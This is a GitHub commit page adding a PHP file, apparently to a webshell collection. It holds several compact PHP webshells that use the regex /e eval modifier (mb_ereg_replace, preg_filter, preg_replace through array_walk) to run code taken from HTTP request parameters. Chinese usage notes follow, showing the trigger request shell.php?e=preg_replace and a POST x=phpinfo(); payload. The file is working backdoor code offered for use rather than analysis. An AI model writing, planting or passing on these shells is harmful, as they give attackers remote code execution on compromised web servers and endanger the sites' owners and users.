Skip to content

Commit

Permalink
Create 2020.08.20.14.php
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored Aug 20, 2020
1 parent 44282fe commit 6a9169d
Showing 1 changed file with 28 additions and 0 deletions.
28 changes: 28 additions & 0 deletions php/2020.08.20.14.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<?php
mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>

<?php
preg_filter('|\d|e', $_REQUEST['x'], '2');
?>

use like:

```

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>
此时提交如下 payload 的话:

Php
shell.php?e=preg_replace
最后就相当于执行了如下语句:

Php
preg_replace('|.*|e',$_POST['x'],'')
这个时候只需要 POST x=phpinfo();

```

0 comments on commit 6a9169d

Please sign in to comment.